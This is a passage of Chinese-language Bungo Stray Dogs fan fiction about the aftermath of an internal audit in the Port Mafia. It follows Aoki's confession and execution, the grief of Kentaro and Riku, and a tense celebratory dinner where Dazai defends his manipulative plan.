为什么只信岛田那家伙的话……
「服从!信任你的上级!组织的决定自有其道理!」
为什么,信任上级,遵守决定的人,会死……
青木的身体如同脱水的鱼一样,剧烈的跳动了一下
斋藤……葵……
他明白了
他全都明白了
当初,错的根本不是健太郎
错的,一直都是他
是他将“听话才能活下来”当成了唯一真理
是他把上级的每一句话都当成圣旨,却忘了用大脑去判断,用良知去衡量。
“呵呵呵……”
青木低低地笑了
他笑自己的愚蠢,笑自己的傲慢,笑自己当初竟那样义正辞严地“教育”健太郎。
现在的他,比当时的健太郎,狼狈、悲惨何止千倍。
至少,健太郎选择了怀疑。
而他,选择了“听话”,赶走了自己唯一的,最好的朋友,最后成为了跪在审讯室里的,罪人
他闭上眼睛,嘴唇无声的翕动着
对不起,葵前辈
对不起,源
对不起,太郎
对不起,健太郎……
“青木胜也,你是否需要改变你的陈述?”
审判官的声音很遥远,仿佛是从天国传来的
青木缓缓地抬起头
过了很久,才发出一点气音:
“……我……”
就在这时,审讯室外面的走廊突然传来一阵骚动
“放开我!让我进去!青木哥——!!青木胜也——!!!”
那声音撕心裂肺,带着哭腔,穿透厚重的隔音门,清晰地传了进来。
是健太郎!
青木浑身剧震,猛地扭头看向紧闭的金属门
他怎么来了?他想干什么?!
审讯官皱了皱眉,下了指令,“外面怎么回事,看一下。”
大门被打开一条缝,外面混乱的声音更清晰地涌进来。
“求求你们!让我跟他说句话!就一句!他不是主犯!他是被利用的!那些证据我能解释!他真的不知道!让我进去——!!”
是健太郎在哭喊
“胡闹!这里是审讯重地!闲杂人等立刻离开!否则按妨碍公务处置!”
“青木哥——!!对不起!对不起——!!”
健太郎的声音绝望而尖锐,“我不该退出行动组的!我不该留你一个人!……我该早点告诉你……我该拉住你的——!!”
砰!一声闷响
哭喊变成了压抑的呜咽和挣扎。
“放开我……求求你们了……”
青木跪在地上,无法动弹,只能眼睁睁听着这一切。
健太郎……
那个被他斥责,被他推开,被他伤害的健太郎,在他被众叛亲离,定下死罪的时候,竟然试图救他?为他辩解?
傻瓜……真是个彻头彻尾的傻瓜……
为什么?为什么不恨我?为什么还要来?……
门外的骚动很快被镇压下去
审讯室里恢复了死寂。
审讯官面无表情地转身,他看向青木,准备继续提问。
但青木已经听不见了。
他想起两个多月前,行动组的第一堂体术课,健太郎摔倒后他伸手去拉,
“笨蛋吗,高抬腿都能把自己绊倒?”
当时自己的表情……一定很凶,语气一定很不耐烦
但健太郎一点不生气,只露出一个有点傻气,却无比信赖的笑容
“谢谢青木哥!”
青木的眼角湿了,嘴角却向上弯了一下。
这两个月,他辜负了很多人,也终于看清了一个人。
足够了。
「好好跟着老子,等发达了,一定会带你们吃香喝辣!」
他抬起头,脸上带着未干的泪痕,眼神却奇异的平静下来
“不用再问了。”
那沙哑的嗓音中带着一股决绝的温柔
“我认罪。”
“所有。”
——
审计结束后一小时
港口黑//手//党三层大楼,B1层
璃久站在那里,他依然穿着深灰色的清洁工制服,凝视着三步远的垃圾粉碎机
十分钟后,他收回目光,推着清洁车踏入了后勤电梯
“即将到达,1层。”
他推着车,穿梭在低层楼层的走廊之间,开始了又一天的清扫工作。
三栋大楼,尤其是低楼层,是与审计风暴中心最遥远的地方,这里只有行动组新人,接线生,初级文员和各类后勤辅助人员来来往往。
然而今天,连这里的空气都泛着压抑不住的躁动
往常只顾埋头疾走或麻木呆坐的人们,此刻三三两两聚在走廊转角,茶水间门口,甚至是电梯厅垃圾房边,他们的声音压得低,但眼神发亮,手势激动。
二层的打印室外,两个抱着文件的女文员几乎头碰头:
“……财务科整个楼层都被封了!我早上送文件过去,直接被安保拦在外面,说‘无限期暂停业务’!”
“活该!上次我申请换把椅子,流程走了两个月,最后批下来一把三条腿的!肯定是经费被贪了!”
“何止椅子……听说贪的是宝石!整箱整箱的蓝宝石!”
“天啊……那得值多少钱?怪不得桥本科长每次见人都笑眯眯的,原来是吃饱了……”
五层通道的楼梯间,几个穿着行动组制服的男人靠在墙上抽烟:
“一组算是废了,岛田那王八蛋平时多横啊,瞧他那副‘老子是精锐’的德行,呸!”
“精锐?精锐到去当搬运工,给贪污犯搬赃物!听说他手下那个叫青木的,也栽了?”
“青木胜也?就那个新人考核第一,被岛田当宝一样带在身边的小子?”
“可惜了,身手是真不错,脑子也是真不行,被岛田卖了个干净,签字画押把自己送上了绝路。”
“啧,所以说跟对人比什么都重要。本事再好,眼睛瞎了也是白搭。”
后勤电梯的电梯口,几个年长的仓库管理员没有按电梯,而是蹲在角落里
“听说中原准干部都被停职审查了……项目总负责人啊,这下麻烦大了。”
“停职算轻的!手下出这么大纰漏,识人不明,监管不力,按规矩追责起来……”
“哎,你说这举报的‘清洁工’到底是谁?胆子也太肥了!”
“管他是谁,反正替咱们出了口恶气!那些高高在上的老爷们,也有今天!”
璃久推着清洁车,平稳穿过这片喧闹的,幸灾乐祸的,惋惜的,调侃的议论
那些目光在遇到他时,往往只是看一眼就略过,或干脆视而不见
他就这样工作了一整个上午,不间断清理了3个楼层的男盥洗室,倒空了24个垃圾桶,更换了所有隔间的卷纸和洗手液。
直到午休铃响过,人群涌向食堂,走廊逐渐空旷。
他才推着清洁车返回B1层,进行抹布和垃圾袋的更换。
B1层,西侧工具间
他将清洁车推回线内,车轮的朝向与旁边那辆精确对齐。
口袋内的通讯器忽然振动了两下
「小子,干得漂亮!休息室大家都聊了一上午了,可热闹了,听说财务科都被封起来了,秋山那边也被抄了办公室,他手下那几个平时鼻孔朝天的家伙,现在个个面如土色,头都不敢抬,哈哈!我们回收科今天清净得很,没人敢来‘报废’东西了。老鸟我难得清闲,泡了杯好茶。」
「对了,调配科那小子怎么样?你俩什么时候有空,老子请客,藏了三年的好酒该开了。总得庆祝一下,这破地方,总算透进点新鲜空气了——鸟寺」
璃久静静地看着屏幕,指尖在按键上停留片刻,简短地回复了三个字:
「好。到时。」
他将通讯器收回口袋,拧开水龙头,看着脏污的抹布一点点被浸湿。
就在这时,工具间的铁门,被人从外面猛地推开
璃久关掉水龙头,抬起眼。
健太郎站在门口。
他站在那儿,身体微微前倾,像是用尽了力气才跑到这里
“璃……璃久……君……”
声音嘶哑得不像话,带着剧烈的颤抖。
下一秒,他的脚步踉跄,几乎是被
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惯性拖着,直直地撞了过来
璃久被他撞得后退半步,背脊抵住了冰冷的水池边缘。
“呜……”
泣音从肩膀泄出
“我……我去见他了……”
璃久没有问“他”是谁。
从健太郎此刻的状态,从时间,从整件事的逻辑,答案已经呼之欲出。
“他……他最后看到我了……”
健太郎的抽泣声大了一点,泪水迅速浸湿了璃久的肩头
“隔着走廊……很多人押着他……他朝我这边……看了一眼……”
“他……他在笑……”
健太郎的声音陡然拔高
“璃久君……他在笑啊!”
声音尖锐,几乎要捅破天花板
“是……是很温柔,很温柔的那种……就像……就像我以前犯蠢,他拿我没辙的时候……那种有点无奈,又有点……认了的笑……他为什么……为什么还能那样笑啊……他应该恨我的!应该骂我的!是我……是我……”
积蓄的情绪终于冲破理智的堤坝。
“——是我害死他的啊——!!!”
他整个身体的重量都挂在了璃久身上,如果不是璃久撑着,他早已滑倒在地。
“那些照片……是我拍的……那些证词……是我写的……我亲手……如果……如果我没有多事……如果我没有去管……他是不是……是不是就不用死……他可能只是被关起来……他还可以活着的……是我!……是我把证据递上去……判了他死刑啊——!!!”
「我们一定可以一起活下去的」
健太郎哭得几乎窒息
“青木哥……他只是太相信那个混蛋了……他没错……我知道的……但……但是……我却把他送上刑场了……我杀了他……我和那些……那些真正害死葵前辈的人……有什么区别……我也是凶手……我也是啊——!”
璃久一动不动地站着
但他抱着健太郎的手臂,微微收紧了一些
但他的喉结滚动的速度,却越来越快
“都怪我没用……审讯室………两个人抓着我……我过不去……青木哥他就在……就在门后……都怪我……我打不过……只能被拖出去……我救不了他……葵……源……太郎……我谁都救不了……我真没用……我真没用……”
「我们一定可以一起活下去的」
璃久就这么站着,直到怀中的身体逐渐瘫软
直到那最后一丝抽噎,也被寂静无情的吞噬
“为什么……是我活下来了啊……”
——
两小时后
璃久挂好最后一块抹布,在交接板上签了名
「为什么,是我活下来了」
他站在更衣室内,换下了清洁科的制服
「为什么,是我活下来了」
办公室内空空荡荡,属于黑田科长的小隔间大门敞开,桌上还留着批到一半的报告,那幅拿破仑远征的画歪斜的挂在墙上,摇摇欲坠。
璃久沉默的看了几秒,像在凝视一个黑洞
「为什么,是我活下来了」
手指在颤抖,身体在颤抖,空气在颤抖
“哐当!——”
画终于不堪重负,摔了下来,玻璃画框砸了个粉碎
“啊!——”
门外一阵尖叫,紧接着是加速逃跑的脚步声
璃久强迫自己移开视线,牙齿咬紧了嘴唇,扭身快步离开了办公室
他没有等电梯,而是直接走了楼梯
门外,夕阳西下,天边泛着深红色的晚霞
樱花已经凋谢,葱郁的绿色取代了稚嫩的粉白
一个身影站在树下
织田作之助。
他穿着那身万年不变的沙色风衣,手里夹着一根没有点燃的烟
“结束了?”
织田作收起烟,缓步走了过来。
璃久点了点头,喉咙有些发紧
他试图像往常一样,给出一个简单的回应。
但当他抬起头,真正对上织田作那双平静的眼睛时,某种从刚才开始就刻意维持的东西,开始松动
“健太郎……刚才在工具间……”
他停顿了很久,久到树上的鸟儿振翅离去
“青木……被处决了。”
璃久的声音很低,叙述着事实
“他很难过,他觉得……是他害死了青木,因为他拍了照片,写了证词……”
织田作静静地听着,没有打断。
璃久再次陷入了沉默
「为什么,是我活下来了」
健太郎的哭喊,那些关于“凶手”的自我指控,又一次在他耳边响起,与记忆深处另一个稚嫩却绝望的喘息声重叠。
“我和他……一样。”
这句话没头没尾,含糊不清。
但织田作在听到的瞬间,就懂了。
璃久是在说,他的过去
璃久说出这句话后,便紧紧闭上了嘴,
他依旧没有看织田作,只是僵硬地站在那里
织田作没有立刻说话。只是向前走了一小步,拉近了两人之间的距离
然后,他缓缓说道:
“不一样的,璃久。”
他的语气不是反驳,不是纠正,而是一种清晰而坚定的区分
“健太郎的痛苦,在于他为了公义和真相,做出了保全群体牺牲个体的选择。”
“而你……”
织田作的声音停顿了一下,似乎在斟酌词句
“……你的选择,发生在所有的‘程序’和‘公义’都失效的,纯粹无解的黑暗里。”
璃久的身体晃了一下,眼眶不受控制地迅速发烫
「活下去,小不点」
「他在笑啊!璃久君!」
“我和他……一样……”
一直强忍的泪水,终于冲破了最后一道防线。
「记住了,这招只有在退无可退的时候,才能用它」
「不要让我白死!出招啊!!」
第一滴泪悄无声息地滑落,顺着苍白的脸颊,留下一道冰凉湿痕。
紧接着是第二滴,第三滴
璃久低着头,肩膀剧烈的颤抖着
“凯……”
忽然,左拳被握住,视野骤然暗下
额头传来一阵热意
鼻间是熟悉的,被阳光晒暖的烟味和硝烟的味道
他抵着织田作的肩膀,破碎的呜咽声倾泻而出
“凯……对不起……是我……都是我……”
“该死的……明明是我……为什么……”
为什么,要让我活下来……
他抓着织田作的衣角,感受到后背被轻拍着,终于忍不住哭出了声
直到夕阳最后一点余晖消失,直到路灯接连亮起
直到眼泪流干,再也哭不出来
璃久抽噎着,靠在织田作肩上,身体只剩下生理性的抽搐。
后背的那只手收紧,将他更紧的拥入怀中。
耳边传来那一贯的,平稳温和的声音
“回家吧,璃久。”
“幸介他们,给你留了最大的那份寿司。”
没有追问,没有评价,只是将话题拉回最平凡的日常。
璃久在他肩上,极轻地点了下头。
又过了片刻,他才慢慢直起身,退出了那个温暖的怀抱
织田作什么也没说,只是转过身,朝着家的方向走去。
他的步伐不快,足够让身后的少年跟上。
璃久在原地停留了一秒,吸了吸鼻子,迈开脚步,跟在了织田作身后。
脚步声一前一后,在宽敞的大道上响起,慢慢融入横滨的夜色之中。
29.和平(?)聚餐
——
半小时后,“Freedom”咖喱店
店外,卷帘门紧闭,马克笔写下的「今日要事,休店一天」被海风吹起一角
店铺中央,几张桌椅被稍微挪动,拼出了一张足够容纳多人的长桌。
桌中央的锅内,浓郁诱人的牛肉咖喱还在咕嘟冒泡。
周围则摆满了碗碟,堆成小山的白米饭,碧绿的焯水菠菜,金黄酥脆的天妇罗,切成薄片的腌萝卜,还有一小锅热气腾腾的豆腐味增汤。
最引人注目的,是放在璃久正前方的大瓷盘。
里面整齐码放着十多个寿司,覆盖着蓝鳍金枪鱼的醋饭,和粉嫩剔透,在灯下晶莹闪光的北极甜虾。
老板匆匆解下围裙,额头上还有忙碌后的细汗
但他的脸上没有疲惫,只有由衷的喜悦和骄傲。
“你们是不知道啊,早市那金枪鱼拍卖简直跟打仗一样!还好我人高马大眼疾手快,抢到了最好的一块中腹!还有这甜虾,绝对的顶级货!小望月,今天这顿,你可得多吃点,算是……”
他顿了顿,语气认真了些,“……算是咱们这小店,对你做的那件’大事’一点微不足道的……嗯,慰劳?或者说,庆祝?”
“嗯,老板辛苦了。”
织田作坐在璃久旁边,面前放着一杯冰镇啤酒,“之前,辛苦了,多吃一点。”
璃久坐在织田作右侧,背对着通往二楼的楼梯。
他穿着宽松的旧棉衫,头发柔顺的散在肩头,有几缕垂在额前,遮住了红肿未消的眼眶。
“……您太破费了。”
他只是,完成了属于清洁工的本分而已。
“破费什么!值得!”
老板坐下,率先举起酒杯,
“来,先为……嗯,为了今晚的好饭菜,干一杯!”
三人碰杯
织田作喝了一口啤酒,垂眸看向那盘天妇罗。
“老板,天妇罗的面衣看起来比上次更薄更匀了,火候控制得不错。”
“是吧?”
老板立刻来了精神,开始絮叨起来,
我调整了面糊里冰水的比例,还试了两种不同牌子的低筋粉混合。油温啊也得多试,低了吸油,高了容易焦……”
辛苦做出的料理被认可,他眼睛发亮,细节滔滔不绝。
“嗯,菠菜焯水后浸冰水的时间是不是比上次长了?”
“可不是嘛!就为了那点脆劲儿和颜色!上次你说焯完直接摆盘,颜色容易暗,口感也偏软。我这回掐着秒表试的,多五秒,捞出来立刻怼进冰水里,看现在这颜色,碧绿碧绿的,嚼着还带响!”
“这味增汤里除了昆布和柴鱼,是不是还加了点干贝提鲜?”
“就加了一小撮干贝碎,泡发的水我都兑进汤里了!不能多,多了抢味,就吊那么一丝丝海的甜味在昆布的鲜后面……这都被你喝出来了!不愧是织田作!”
两人一来一往,聊得颇为投入
璃久安静地听着,小口吃着织田作帮他盛到碗里的咖喱饭。
温暖的食物流入胃里,一点点驱散了身体的寒意
耳边萦绕着烟火气的谈话背景音,让他紧绷的精神逐渐放松下来。
“怎么样,炖了三个小时的牛肉咖喱,是不是一绝?”
“嗯。”他朝织田作举起空了的碗,又朝老板点头,“很好吃。”
“好,我们小望月说好吃!今天这顿饭就回本了!”
老板爽朗笑着,又给自己斟满了酒。
璃久咀嚼着酥烂的牛肉,筷子已经伸向盘中的天妇罗大虾。
“咚,咚,咚。”
二楼的木质地板传来咯吱咯吱的脚步声。
紧接着,是压低了音量的叽叽喳喳,还有互相提醒的“嘘——”声,
璃久拿着筷子的手瞬间定住,下意识往左侧微微侧身。
那声音,停在了楼梯转角。
织田作的手微微一顿
老板脸上的笑容也收敛了些,变得有些小心
他的目光飘向楼梯方向,又很快收回。
墙壁上,几个圆圆的影子晃动着,挤挨着,夹杂着急促的喘息,还有细碎的,关于“谁先下去”,“说好了不能吵”的争执。
是孩子们。
璃久放下筷子,迅速起身,绕到了织田作的左边,远离楼梯的方向。
他想跑出去,但卷帘门拉着,而且擅自离开,对织田作和老板都很失礼
他只能紧紧的,抓着织田作的衣角,躲在他背后,只露出一点点发顶
织田作没有立刻回头,也没有出声阻止楼梯上的动静。
他只是拿起酒壶,给老板的杯子添上一点酒,然后用平稳如常的语调开口:
“对了,说到干贝,上次那种宗谷产的,鲜味确实更浓,但价格也高。这次用的是哪里的?”
老板立刻领会,努力让声音听起来自然
“啊,这次用的是北海道函馆附近的,性价比高些,鲜味也够。不过汤底的关键还是柴鱼花削的时机和浸泡的时间……”
他顺着织田作的话往下说,试图用料理的“正经事”掩盖楼梯方向越来越藏不住的动静。
然而,孩子们的耐心是有限的。
尤其是当咖喱和寿司的香气不断飘上来,而楼下大人说话的声音听起来那么平常,像什么都没发现时。
脚步声再次响起
这次是小心翼翼的,一级一级往下挪的声音。
最先出现的的是胆怯却好奇的咲乐,接着是努力想表现得像个小大人,却掩不住兴奋的幸介。克己,优和真嗣也紧随其后
五双眼睛,齐刷刷地,带着某种期盼,望向长桌边,躲在织田作背后的璃久哥哥身上。
他们想吃,更想和打跑了坏人的大英雄哥哥一起吃。
虽然半年了,璃久哥哥一次都没和他们说过话,连对视也不愿意
但,身为将来要打败大魔王织田作的超人英雄,是不会轻易放弃的!
餐厅内,空气凝固了。
织田作侧过脸,看向楼梯口那五个小小“入侵者”:“不是让你们在楼上做完功课再下来吗?”
孩子们面面相觑,最后年龄最大的幸介站了出来
“我们……我们做完了……下面好香……”
咲乐紧紧抓着哥哥的衣角,细声细气地补充:“想……看看璃久哥哥……也想……一起吃……”
老板看着孩子们渴望又怯生生的眼神,又看看织田作背后浑身散发着抗拒与不安的璃久,脸上写满了不忍和为难。
他想说点什么缓和气氛,却一时词穷。
织田作沉默了片刻
他没有替璃久做任何决定,也没有粗暴地驱赶孩子们,只是重新转回头,看向自己面前的碗碟
“璃久,甜虾寿司好像做了不少。”
他夹起一块,细细凝视着,“而且,孩子们好像也很喜欢这个。”
他没有问“可以让孩子们一起吃吗”,也没有说“孩子们想和你一起吃饭”,只是陈述了两个具体事实:寿司数量可观,孩子们喜欢甜虾。
他不确定这样能不能稀释璃久内心的恐惧,但当下无疑是最好的机会。
时间在沉默中缓慢流淌
长桌边,璃久始终沉默着
他听懂了织田作的言外之意,更明白织田作半年来始终没有放弃的念想
但是,他怎么能
一个在8岁就杀死54个孩子的罪人,怎么能和织田作最在乎的孩子们在一起?
万一,他体内的“熔炉”哪天失控,波及了他们…….
就像那个时候一样……
抓着男人衣角的手重新收紧,他抵在织田作背后,小声急促的喘息着。
“璃久?”
察觉到织田作意欲回头的动作,璃久立刻摇头,细弱的气音中带着祈求:“不要看我……”
“好,不看你。”
织田作转过头,大手却包住少年冰冷的手,轻轻捏了捏。
“需要我让他们回去吗?”
楼梯上,孩子们的身影一僵,眸中流露出难以抑制的失落。
老板搭在杯子上的手收紧一瞬,又颓然的松开
沉默持续了很久,很久
直到幸介转过身,准备招呼弟弟妹妹重新上楼时
寂静的餐厅里响起了璃久的声音
“织田作……”
男人立刻回应:“我在。”
“你…….”又是一阵沉默,“不会不要我,对不对?”
“嗯。”
“哪怕我曾经做过……很可怕的事情……也不会对不对?”
哽咽着,仿佛下一秒就要泣不成声。
“嗯,不会不要你。”
织田作侧过头,凝视着少年颤抖的发顶,说得很慢但很坚定
“父亲不会抛弃自己的孩子,所以,我也不会不要你。”
话语落下的瞬间,颤抖停止了
织田作没有动,没有出声,只是等着背后的璃久一点点平静下来。
五分钟后
璃久放松了紧握男人衣角的手指
他稍稍直起身子,确保自己依然躲在男人背后
随后,轻轻的,嗯了一声。
“可以……一起……”
织田作眼中掠过一丝柔和的光芒。
他拍了拍衣角上的那只小手后转向孩子们:“安静一点,去洗手,拿自己的碗筷。”
“太好啦——”
孩子们瞬间欢呼,但又立刻捂住了嘴,相互交换着狂喜的眼神,脚步轻快的奔向厨房
璃久依旧维持着那个姿势,没有动。
但紧挨着织田作的身体,却一丝丝松弛下来。
孩子们很快回来了,各自捧着小碗和小勺子,乖巧地爬上老板这一侧的木椅
“来,拿稳了,小心啊。”
“谢谢老板——”
他们边吃老板分给他们的咖喱饭
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,边忍不住偷偷地,飞快地瞄一眼对面的璃久
织田作伸手拿过璃久的餐具,放到他面前。
老板的视线在璃久和孩子们之间移动,确定璃久没有变得更加不安后,又重新活跃起来,轻声给孩子们介绍哪个是天妇罗里的香菇,哪个是红薯。织田作则偶尔回应孩子们关于食物的问题
璃久依然沉默,但不再紧绷,也不再刻意回避孩子们投来的目光。
他甚至在第三次看到孩子们夹不到甜虾寿司时,轻轻将瓷盘往前推了推
越过了桌面的中间线。
举着筷子的幸介看到突然靠近的盘子,又看了看璃久哥哥来不及收回的手,眼里的惊讶逐渐升腾为抑制不住的喜悦。
“谢谢——璃久哥哥…….”
织田作和老板也都看到了。
两人再次对视,眼中都弥漫着温暖的欣慰,老板甚至悄悄举杯,向织田作示意,然后心满意足地喝了一大口啤酒。
窗外,夜色已浓,偶尔能听见远处港口的汽笛声
店内,暖黄的灯光,食物的香气,织田作和老板的谈笑声,孩子们偶尔抑制不住的乐声,碗碟轻微的碰撞声,汇聚成一曲平凡安宁的生活曲,流入璃久耳中
他沉默的喝着味增汤,时不时看一眼对面的老板和孩子们,再落回织田作的侧脸上。
就在这气氛最为融洽松弛的时刻——
屋外忽然传来一阵带着独特节奏的敲门声。
笃,笃笃——笃。
店内瞬间安静下来。
孩子们不明所以地停下动作,睁大眼睛看向门口。
织田作也看了过去,眸中闪过一丝了然。
敲门声又响了一次
同样的节奏,然后是一个轻快的声音:
“打扰啦~听说这里有免费的顶级寿司和慰劳大餐?嗅觉灵敏的流浪汉闻着味道就来了哦~”
紧接着,是另一个无奈和疲惫的声音
“太宰,人家都写着休店了,不要打扰别人……而且你自己来就算了为什么还要拖着我——”
“诶——休店?那是针对外人的告示哦,我们怎么能算外人呢?当然是恰好路过,被里面飘出来的,仿佛在呼唤我——们的咖喱香气所吸引,忍不住想进入的热心朋友——”
“什么热心朋友,我们就是标准的不速之客——”
安吾话音未落,紧闭的卷帘门就被哗啦一声拉开。
“太宰,安吾。”
门后,织田作对两人点头致意,“要进来吗?”
“当然要当然要!——”
太宰仿佛进自己家一样,毫不客气地踱步进来,目光扫过桌面上丰盛的菜肴和围坐的众人,最后落在璃久脸上,“看来我们的‘清洁工’英雄已经在享用庆功宴了?气色看起来比在大楼里好多了嘛。”
安吾提着公文包跟在后面,对织田作和老板微微颔首致意
“抱歉,织田作先生,老板,这么晚打扰,太宰他……”
他瞥了一眼已经自顾自在璃久左侧坐下的太宰,叹了口气,“非说这个时候来一定能蹭到最好的部分。”
“怎么能说蹭呢,安吾。”
太宰咀嚼着寿司,含糊不清,“我们这是代表组织内部关心人士,前来慰问和表彰在近期’内部清洁’工作中表现出色的杰出员工,对吧?”
他歪着头,目光锐利的看向璃久。
璃久在太宰声音响起的瞬间,身体就绷紧了。
他“啪”的一声放下筷子,手指在桌下微微收紧。
就是这个男人,那份充满陷阱的计划书,那些看似无意实则精准的诱惑和引导,将所有人,包括他自己,都推向了这场风暴的中心。
孩子们感觉到气氛的微妙变化,有些不安地停下动作
织田作重新坐下,表情平静,仿佛太宰和安吾的到来只是意料之中的小事。
他甚至还示意老板:“给他们也拿副碗筷吧,应该还没吃晚饭。”
“诶,好嘞。”
安吾有些尴尬地坐下,推了推眼镜:“真是不好意思……”
“没什么不好意思的,”
太宰看着璃久,语气变得稍微正经了一点点
“璃久君,干得漂亮。那份汇编,连森先生看了都沉默了很久呢。干净,利落,证据链完美,尤其是最后那个署名……噗,”
他忍不住笑出声,“‘一位不愿透露姓名的清洁工’,真是绝妙的讽刺。现在总部大楼里,可没人敢小看清洁科了哦。”
安吾也看向璃久,语气比太宰诚恳得多
“的确,那份材料的组织方式,证据的提取和呈现逻辑,确实远超普通举报,甚至在情报分析层面也有可借鉴之处。你做得……非常出色,望月君。”
璃久没有回应。
他缓缓抬起头,目光第一次直直地迎向太宰。
那双总是平静的眼睛里,此刻翻涌着清晰可辨的愤怒,
“……你到底,为什么要那样做?”
30.和平(??)的聚餐
——
“你到底,为什么要这么做。”
没头没尾的一句
但在场除了孩子们,所有人都明白他在问什么。
问为何,那份计划书故意留有致命漏洞。
问为何,要策划这样一幕戏剧,将所有人都当作棋盘上的棋子
问为何,能将牺牲数条人命的行为,轻飘飘的定义为“内部清洁”
太宰脸上的笑容没有丝毫变化,甚至更加明媚。
他放下筷子,双手交叠撑在下巴上
“为什么啊……”
他拖长了语调,“当然是因为……很有趣啊。”
这个答案轻佻得近乎残忍。
璃久收紧了拳头,眼中的怒意几乎要化为实质。
他想挥起拳头,想打碎那张永远挂着可恶笑容的脸——
“璃久。”
织田作轻轻按住他的肩
他的异能告诉他,不那么做,下一秒璃久的拳头就会砸中太宰。
但太宰本人却毫不在意,他话锋一转,语气依旧轻松:
“怎么?很生气?觉得我冷酷?不近人情?认为那些因为你的‘正义之举’而丢掉性命的人,很可怜?他们的死,让你睡不着觉,让你那个小朋友哭得死去活来,对吧?”
每一句,都精准地踩在璃久最痛苦的神经上。
璃久的呼吸变得粗重,攥紧的拳头微微发抖。
他死死咬着牙,才克制住没有当场失控。
“但是啊,璃久君,”
太宰的语气少了些戏谑,多了点近似于导师般的透彻,
“港口/黑/手/党不是慈善机构,也不是过家家的游戏场。在这里,每一次’清理’,每一次‘变革’,都必然伴随着淘汰和牺牲。有的人是因为贪婪和愚蠢被淘汰,比如桥本,有的人是因为盲目和忠诚被牺牲,比如青木。这就是规则,是这个黑暗机器运转的一部分。”
他端起老板刚给他倒的茶,漫不经心地吹了吹热气。
“你觉得痛苦,觉得愤怒,觉得手上沾了血?这很正常。这说明你还没完全变成冰冷的机器,是件好事。但是,”
他抬起眼,鸢色的眸子直视璃久,那里面没有任何温情,只有对人性与规则的洞悉
“如果你因为这份痛苦和愤怒,就开始怀疑自己做的事是否‘正确’,开始畏惧下一次需要举起‘清洁工具’的时刻,开始变得优柔寡断……那么,你很快就会被这个吃人的地方连骨头都不剩地吞掉。或者,变成下一个因为心软和看不清形势,而被别人随手牺牲掉的‘青木’。”
“在港口/黑/手/党,乃至在这个世界上,很多时候,‘正确’本身就是沾满鲜血的。你要做的,不是逃避这份血腥,而是看清楚,哪些血是必须流的,哪些牺牲是值得的——为了更大的目标,或者,仅仅是为了让你自己和你想要保护的人,能继续在这个糟糕的世界上活下去,并且活得稍微像样一点。”
痛苦是真实的,但它不是停止的理由
愤怒是合理的,但它不能模糊你的判断。
在这个泥潭里,要么学会在血腥中保持清醒和前进,要么就被泥潭淹没。
璃久听着,沸腾的怒意渐渐被茫然的无力感所取代。
「对于杂草,放任不管的话,它们很快就会把土地上的养分都吸干,种下去的花就没地方,也没营养长了,那时候,想要弄干净的话,就得把整片苗床掀翻。」
太宰说的对
但这种将人命置于冰冷权衡之下的“道理”,他完全无法赞同。
“所以……我们对你而言,只是有趣的观察对象?是可以被随手摆弄的……工具?”
最后两个字,他几乎是咬着牙挤出来的。
太宰眨了眨眼,笑容不变
“工具?不,是‘可能性’,璃久君,你证明了,即使在最底层,被忽视的角落,也存在着能够洞察核心、并有力撼动局面的可能。这比单纯清理掉几个蛀虫,更让我觉得有趣和……期待。”
他顿了顿,声音压低:
“组织需要重力使这样的刀锋,也需要会计,情报员,司机……甚至是不按牌理出牌的观察者和清道夫。关键在于,每个人是否能在自己的位置上,看清自己的角色,并做出‘恰当’的选择。你这次,角色把握得很好,选择也做得不错,虽然——”
他瞥了一眼璃久依旧紧绷的脸,笑了笑,“情绪管理还有待提高。”
最后一句,又带回了那种戏谑的口吻。
璃久没动,也没有出声
他只感到一种深切的窒息。
太宰没有用暴力胁迫他,没有用阴谋陷害他,他只是用最平静,或者说冷漠的语气,揭开了这个世界运行法则的一角。
而这法则的冷酷,和溶狱运行的底层逻辑,如出一辙。
难道他,好不容易逃出冰窟,又进入了另一个火坑吗?
就在璃久的颤抖越来越明显时——
“太宰。”
织田作平静的声音响起了。
“吃饭的时候说这些,会影响消化。”
太宰眨了眨眼,脸上冰冷的神情如同潮水般退去,瞬间又恢复了玩世不恭的轻快模样
“也是呢,织田作说得对。抱歉抱歉,职业病犯了。”
他拿起筷子,毫不客气地夹了个最大的金枪鱼寿司,“那我就不客气啦!为了赔罪,让我尝尝老板抢破头才弄到的金枪鱼味道如何~”
安吾明显松了口气,也拿起筷子,低声道:“失礼了。”
老板赶紧招呼:“啊,请用请用!锅里还有咖喱,我再去炸点天妇罗!”
他匆匆起身,试图用忙碌驱散桌上残留的寒意。
璃久慢慢地松开了紧握的拳头,手指因为用力而有些麻木。
他垂下眼,避开了太宰瞟过来的玩味目光,也避开了织田作沉静的注视。
他没有再说话,也没有动筷,只是静静地坐在那里,在咖喱的暖香和身旁孩子们细微的动静包裹下,一点点强迫自己冷静
忽然,一双筷子伸进了瓷盘,夹起一块金枪鱼中腹寿司,转了向,放进了他面前的瓷碟里。
“这个,味道确实不错。”
太宰的声音响起,“老板抢破头也算值了哦~而且织田作说你最近消耗大,多吃点,瘦了就不可爱了,也没什么力气继续工作,对吧?”
璃久身体微微一僵
他盯着碟子里多出来的那份寿司
这个举动太突兀了,太诡异了。
“怎么?怕我下毒?”
太宰歪着头,眼睛一眨不眨盯着璃久绷紧的侧脸
“放心,在织田作面前毒害他宝贵的孩子,这种蠢事我才不干。成本太高,乐趣太少,还不符合我优雅高尚的美学。”
他用筷子尖随意敲了敲自己的碟子边缘
“而且,能让我觉得有趣和期待的‘可能性’,要是因为营养不良或者胡思乱想把自己搞垮了,我会很困扰的,璃久君就忍心看着我被黏糊糊臭烘烘的无趣和郁闷给淹死嘛?”
他的话依旧绕着弯子,说得云里雾里
但那份寿司却实实在在放在那里。
织田作什么也没说,只是将自己面前那碗没动过的咖喱轻轻推到了璃久手边。
璃久沉默了很久。
最终,他夹起了那块金枪鱼寿司,没有看太宰,也没有说谢谢,只是沉默地吃了下去。
鲜美紧致的鱼肉在舌尖化开,却驱不散心头的疑云
夹寿司的太宰,和口吐黑泥的太宰,哪个才是真正的他?
太宰看着他将寿司吃完,极快的勾了勾嘴角,随即又恢复了那副漫不经心的样子,转头去跟安吾抢最后一只炸虾天妇罗。
“喂,太宰,那是我的!”
“安吾,身为情报员要懂得分享和观察,明明是我先看准的~”
“你这根本是强盗逻辑!”
小小的争执声,带着一丝刻意为之的吵闹,冲淡了之前沉重的空气。
璃久小口吃着织田作推过来的咖喱,看着老板从厨房冷柜里端出甜品
“来咯~抹茶大福和杏仁豆腐!——”
